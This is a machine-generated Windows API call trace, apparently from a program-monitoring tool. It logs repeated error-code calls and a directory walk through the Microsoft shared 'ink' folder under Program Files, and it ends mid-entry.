GetLastError () returned 0x0 [0147.203] SetLastError (dwErrCode=0x0) [0147.204] GetLastError () returned 0x0 [0147.204] SetLastError (dwErrCode=0x0) [0147.204] GetLastError () returned 0x0 [0147.204] SetLastError (dwErrCode=0x0) [0147.204] GetLastError () returned 0x0 [0147.204] SetLastError (dwErrCode=0x0) [0147.204] GetLastError () returned 0x0 [0147.204] SetLastError (dwErrCode=0x0) [0147.204] GetLastError () returned 0x0 [0147.204] SetLastError (dwErrCode=0x0) [0147.204] GetLastError () returned 0x0 [0147.204] SetLastError (dwErrCode=0x0) [0147.205] GetLastError () returned 0x0 [0147.205] SetLastError (dwErrCode=0x0) [0147.205] GetLastError () returned 0x0 [0147.205] SetLastError (dwErrCode=0x0) [0147.205] GetLastError () returned 0x0 [0147.205] SetLastError (dwErrCode=0x0) [0147.205] GetLastError () returned 0x0 [0147.205] SetLastError (dwErrCode=0x0) [0147.205] GetLastError () returned 0x0 [0147.205] SetLastError (dwErrCode=0x0) [0147.205] GetLastError () returned 0x0 [0147.205] SetLastError (dwErrCode=0x0) [0147.205] GetLastError () returned 0x0 [0147.205] SetLastError (dwErrCode=0x0) [0147.205] GetLastError () returned 0x0 [0147.205] SetLastError (dwErrCode=0x0) [0147.205] GetLastError () returned 0x0 [0147.205] SetLastError (dwErrCode=0x0) [0147.205] GetLastError () returned 0x0 [0147.205] SetLastError (dwErrCode=0x0) [0147.206] GetLastError () returned 0x0 [0147.206] SetLastError (dwErrCode=0x0) [0147.206] GetLastError () returned 0x0 [0147.206] SetLastError (dwErrCode=0x0) [0147.206] GetLastError () returned 0x0 [0147.206] SetLastError (dwErrCode=0x0) [0147.206] GetLastError () returned 0x0 [0147.206] SetLastError (dwErrCode=0x0) [0147.206] GetLastError () returned 0x0 [0147.206] SetLastError (dwErrCode=0x0) [0147.206] GetLastError () returned 0x0 [0147.206] SetLastError (dwErrCode=0x0) [0147.206] GetLastError () returned 0x0 [0147.206] SetLastError (dwErrCode=0x0) [0147.206] GetLastError () returned 0x0 [0147.206] SetLastError (dwErrCode=0x0) [0147.206] GetLastError () returned 0x0 [0147.206] SetLastError (dwErrCode=0x0) [0147.207] GetLastError () returned 0x0 [0147.207] SetLastError (dwErrCode=0x0) [0147.207] GetLastError () returned 0x0 [0147.207] SetLastError (dwErrCode=0x0) [0147.207] GetLastError () returned 0x0 [0147.207] SetLastError (dwErrCode=0x0) [0147.207] GetLastError () returned 0x0 [0147.207] SetLastError (dwErrCode=0x0) [0147.207] GetLastError () returned 0x0 [0147.207] SetLastError (dwErrCode=0x0) [0147.207] GetLastError () returned 0x0 [0147.207] SetLastError (dwErrCode=0x0) [0147.207] GetLastError () returned 0x0 [0147.207] SetLastError (dwErrCode=0x0) [0147.207] GetLastError () returned 0x0 [0147.207] SetLastError (dwErrCode=0x0) [0147.207] GetLastError () returned 0x0 [0147.207] SetLastError (dwErrCode=0x0) [0147.208] GetLastError () returned 0x0 [0147.208] SetLastError (dwErrCode=0x0) [0147.208] GetLastError () returned 0x0 [0147.208] SetLastError (dwErrCode=0x0) [0147.208] GetLastError () returned 0x0 [0147.208] SetLastError (dwErrCode=0x0) [0147.208] GetLastError () returned 0x0 [0147.208] SetLastError (dwErrCode=0x0) [0147.208] GetLastError () returned 0x0 [0147.208] SetLastError (dwErrCode=0x0) [0147.208] GetLastError () returned 0x0 [0147.208] SetLastError (dwErrCode=0x0) [0147.208] GetLastError () returned 0x0 [0147.208] SetLastError (dwErrCode=0x0) [0147.208] GetLastError () returned 0x0 [0147.208] SetLastError (dwErrCode=0x0) [0147.208] GetLastError () returned 0x0 [0147.209] SetLastError (dwErrCode=0x0) [0147.209] GetLastError () returned 0x0 [0147.209] SetLastError (dwErrCode=0x0) [0147.209] GetLastError () returned 0x0 [0147.209] SetLastError (dwErrCode=0x0) [0147.209] GetLastError () returned 0x0 [0147.209] SetLastError (dwErrCode=0x0) [0147.209] GetLastError () returned 0x0 [0147.209] SetLastError (dwErrCode=0x0) [0147.209] GetLastError () returned 0x0 [0147.209] SetLastError (dwErrCode=0x0) [0147.209] GetLastError () returned 0x0 [0147.209] SetLastError (dwErrCode=0x0) [0147.396] GetLastError () returned 0x0 [0147.396] SetLastError (dwErrCode=0x0) [0147.396] GetLastError () returned 0x0 [0147.396] SetLastError (dwErrCode=0x0) [0147.396] GetLastError () returned 0x0 [0147.396] SetLastError (dwErrCode=0x0) [0147.396] GetLastError () returned 0x0 [0147.396] SetLastError (dwErrCode=0x0) [0147.396] GetLastError () returned 0x0 [0147.396] SetLastError (dwErrCode=0x0) [0147.396] GetLastError () returned 0x0 [0147.396] SetLastError (dwErrCode=0x0) [0147.396] GetLastError () returned 0x0 [0147.397] SetLastError (dwErrCode=0x0) [0147.397] GetLastError () returned 0x0 [0147.397] SetLastError (dwErrCode=0x0) [0147.397] GetLastError () returned 0x0 [0147.397] SetLastError (dwErrCode=0x0) [0147.397] GetLastError () returned 0x0 [0147.397] SetLastError (dwErrCode=0x0) [0147.397] GetLastError () returned 0x0 [0147.397] SetLastError (dwErrCode=0x0) [0147.397] GetLastError () returned 0x0 [0147.397] SetLastError (dwErrCode=0x0) [0147.397] GetLastError () returned 0x0 [0147.397] SetLastError (dwErrCode=0x0) [0147.397] GetLastError () returned 0x0 [0147.397] SetLastError (dwErrCode=0x0) [0147.397] GetLastError () returned 0x0 [0147.397] SetLastError (dwErrCode=0x0) [0147.397] GetLastError () returned 0x0 [0147.398] SetLastError (dwErrCode=0x0) [0147.398] GetLastError () returned 0x0 [0147.398] SetLastError (dwErrCode=0x0) [0147.398] GetLastError () returned 0x0 [0147.398] SetLastError (dwErrCode=0x0) [0147.398] GetLastError () returned 0x0 [0147.398] SetLastError (dwErrCode=0x0) [0147.398] GetLastError () returned 0x0 [0147.398] SetLastError (dwErrCode=0x0) [0147.398] GetLastError () returned 0x0 [0147.398] SetLastError (dwErrCode=0x0) [0147.398] GetLastError () returned 0x0 [0147.398] SetLastError (dwErrCode=0x0) [0147.398] GetLastError () returned 0x0 [0147.398] SetLastError (dwErrCode=0x0) [0147.399] GetLastError () returned 0x0 [0147.399] SetLastError (dwErrCode=0x0) [0147.399] GetLastError () returned 0x0 [0147.399] SetLastError (dwErrCode=0x0) [0147.399] GetLastError () returned 0x0 [0147.399] SetLastError (dwErrCode=0x0) [0147.399] GetLastError () returned 0x0 [0147.399] SetLastError (dwErrCode=0x0) [0147.399] GetLastError () returned 0x0 [0147.399] SetLastError (dwErrCode=0x0) [0147.399] GetLastError () returned 0x0 [0147.399] SetLastError (dwErrCode=0x0) [0147.399] GetLastError () returned 0x0 [0147.399] SetLastError (dwErrCode=0x0) [0147.399] GetLastError () returned 0x0 [0147.399] SetLastError (dwErrCode=0x0) [0148.060] FindNextFileW (in: hFindFile=0x836ca0, lpFindFileData=0x3d5eb40 | out: lpFindFileData=0x3d5eb40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cf371, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x13c, cFileName="..", cAlternateFileName="")) returned 1 [0148.060] FindNextFileW (in: hFindFile=0x836ca0, lpFindFileData=0x3d5eb40 | out: lpFindFileData=0x3d5eb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3fbc74, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3fbc74, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3fbc74, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2b6, dwReserved0=0x0, dwReserved1=0x13c, cFileName="ea-sym.xml", cAlternateFileName="")) returned 1 [0148.060] SetEvent (hEvent=0x50c) returned 1 [0148.060] ResetEvent (hEvent=0x510) returned 1 [0148.062] FindNextFileW (in: hFindFile=0x836ca0, lpFindFileData=0x3d5eb40 | out: lpFindFileData=0x3d5eb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x325, dwReserved0=0x0, dwReserved1=0x13c, cFileName="ja-jp-sym.xml", cAlternateFileName="")) returned 1 [0148.062] SetEvent (hEvent=0x50c) returned 1 [0148.062] ResetEvent (hEvent=0x510) returned 1 [0148.064] FindNextFileW (in: hFindFile=0x836ca0, lpFindFileData=0x3d5eb40 | out: lpFindFileData=0x3d5eb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xeef, dwReserved0=0x0, dwReserved1=0x13c, cFileName="symbase.xml", cAlternateFileName="")) returned 1 [0148.064] SetEvent (hEvent=0x50c) returned 1 [0148.087] ResetEvent (hEvent=0x510) returned 1 [0148.090] FindNextFileW (in: hFindFile=0x836ca0, lpFindFileData=0x3d5eb40 | out: lpFindFileData=0x3d5eb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xeef, dwReserved0=0x0, dwReserved1=0x13c, cFileName="symbase.xml", cAlternateFileName="")) returned 0 [0148.090] FindClose (in: hFindFile=0x836ca0 | out: hFindFile=0x836ca0) returned 1 [0148.090] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x4520080 | out: hHeap=0x23a0000) returned 1 [0148.090] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3d5edc4 | out: lpFindFileData=0x3d5edc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x24f, dwReserved0=0x0, dwReserved1=0x0, cFileName="symbols.xml", cAlternateFileName="")) returned 1 [0148.090] SetEvent (hEvent=0x50c) returned 1 [0148.091] ResetEvent (hEvent=0x510) returned 1 [0148.092] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3d5edc4 | out: lpFindFileData=0x3d5edc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x24f, dwReserved0=0x0, dwReserved1=0x0, cFileName="symbols.xml", cAlternateFileName="")) returned 0 [0148.092] FindClose (in: hFindFile=0x836aa0 | out: hFindFile=0x836aa0) returned 1 [0148.092] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x4510078 | out: hHeap=0x23a0000) returned 1 [0148.092] FindNextFileW (in: hFindFile=0x8369a0, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cf9a3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-IL", cAlternateFileName="")) returned 1 [0148.092] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\he-IL\\*", lpFindFileData=0x3d5edc4 | out: lpFindFileData=0x3d5edc4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cf9a3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x836aa0 [0148.093] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3d5edc4 | out: lpFindFileData=0x3d5edc4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cf9a3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.093] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3d5edc4 | out: lpFindFileData=0x3d5edc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c3a52f7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3c3a52f7, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3c3a52f7, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0148.093] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3d5edc4 | out: lpFindFileData=0x3d5edc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c3a52f7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3c3a52f7, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3c3a52f7, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0148.093] FindClose (in: hFindFile=0x836aa0 | out: hFindFile=0x836aa0) returned 1 [0148.093] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x4510078 | out: hHeap=0x23a0000) returned 1 [0148.093] FindNextFileW (in: hFindFile=0x8369a0, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cfce2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-HR", cAlternateFileName="")) returned 1 [0148.093] GetLastError () returned 0x12 [0148.093] SetLastError (dwErrCode=0x12) [0148.093] GetLastError () returned 0x12 [0148.093] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hr-HR\\*", lpFindFileData=0x3d5edc4 | out: lpFindFileData=0x3d5edc4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cfce2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x836aa0 [0148.094] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3d5edc4 | out: lpFindFileData=0x3d5edc4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cfce2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.094] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3d5edc4 | out: lpFindFileData=0x3d5edc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c3a52f7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3c3a52f7, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3c3a52f7, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0148.094] GetLastError () returned 0x12 [0148.094] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3d5edc4 | out: lpFindFileData=0x3d5edc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c3a52f7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3c3a52f7, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3c3a52f7, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0148.094] FindClose (in: hFindFile=0x836aa0 | out: hFindFile=0x836aa0) returned 1 [0148.094] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x4510078 | out: hHeap=0x23a0000) returned 1 [0148.094] FindNextFileW (in: hFindFile=0x8369a0, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06d0656, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0148.094] GetLastError () returned 0x12 [0148.094] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hu-HU\\*", lpFindFileData=0x3d5edc4 | out: lpFindFileData=0x3d5edc4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06d0656, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x836aa0 [0148.094] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3d5edc4 | out: lpFindFileData=0x3d5edc4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06d0656, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.095] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3d5edc4 | out: lpFindFileData=0x3d5edc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c3a52f7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3c3a52f7, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3c3a52f7, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0148.095] GetLastError () returned 0x12 [0148.095] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3d5edc4 | out: lpFindFileData=0x3d5edc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c3a52f7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3c3a52f7, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3c3a52f7, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0148.095] FindClose (in: hFindFile=0x836aa0 | out: hFindFile=0x836aa0) returned 1 [0148.095] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x4510078 | out: hHeap=0x23a0000) returned 1 [0148.095] FindNextFileW (in: hFindFile=0x8369a0, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c8ce781, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe382bd1f, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe382bd1f, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xb620, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrcommonlm.dat", cAlternateFileName="")) returned 1 [0148.095] GetLastError () returned 0x12 [0148.095] SetEvent (hEvent=0x50c) returned 1 [0148.095] ResetEvent (hEvent=0x510) returned 1 [0148.095] FindNextFileW (in: hFindFile=0x8369a0, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6eba2ec1, ftCreationTime.dwHighDateTime=0x1d112f2, ftLastAccessTime.dwLowDateTime=0xa07693a9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6eba2ec1, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HWRCustomization", cAlternateFileName="HWRCUS~1")) returned 1 [0148.095] GetLastError () returned 0x12 [0148.095] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\HWRCustomization\\*", lpFindFileData=0x3d5edc4 | out: lpFindFileData=0x3d5edc4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6eba2ec1, ftCreationTime.dwHighDateTime=0x1d112f2, ftLastAccessTime.dwLowDateTime=0xa07693a9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6eba2ec1, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x836aa0 [0148.096] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3d5edc4 | out: lpFindFileData=0x3d5edc4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6eba2ec1, ftCreationTime.dwHighDateTime=0x1d112f2, ftLastAccessTime.dwLowDateTime=0xa07693a9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6eba2ec1, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.096] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3d5edc4 | out: lpFindFileData=0x3d5edc4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6eba2ec1, ftCreationTime.dwHighDateTime=0x1d112f2, ftLastAccessTime.dwLowDateTime=0xa07693a9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6eba2ec1, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0148.096] FindClose (in: hFindFile=0x836aa0 | out: hFindFile=0x836aa0) returned 1 [0148.096] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x4510078 | out: hHeap=0x23a0000) returned 1 [0148.096] FindNextFileW (in: hFindFile=0x8369a0, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85c57278, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xb269cdea, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb269cdea, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x79bc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrenclm.dat", cAlternateFileName="")) returned 1 [0148.096] GetLastError () returned 0x12 [0148.096] FindNextFileW (in: hFindFile=0x8369a0, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c8ce781, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe38781cd, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe38781cd, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x10cb30, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrlatinlm.dat", cAlternateFileName="")) returned 1 [0148.096] GetLastError () returned 0x12 [0148.096] FindNextFileW (in: hFindFile=0x8369a0, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85cc99ae, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xb28b2edf, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb28b2edf, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x2662f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrusalm.dat", cAlternateFileName="")) returned 1 [0148.097] GetLastError () returned 0x12 [0148.097] FindNextFileW (in: hFindFile=0x8369a0, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85cc99ae, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xb281a570, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb281a570, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x339380, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrusash.dat", cAlternateFileName="")) returned 1 [0148.097] GetLastError () returned 0x12 [0148.097] FindNextFileW (in: hFindFile=0x8369a0, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e38953f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e38953f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e38953f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x58400, dwReserved0=0x0, 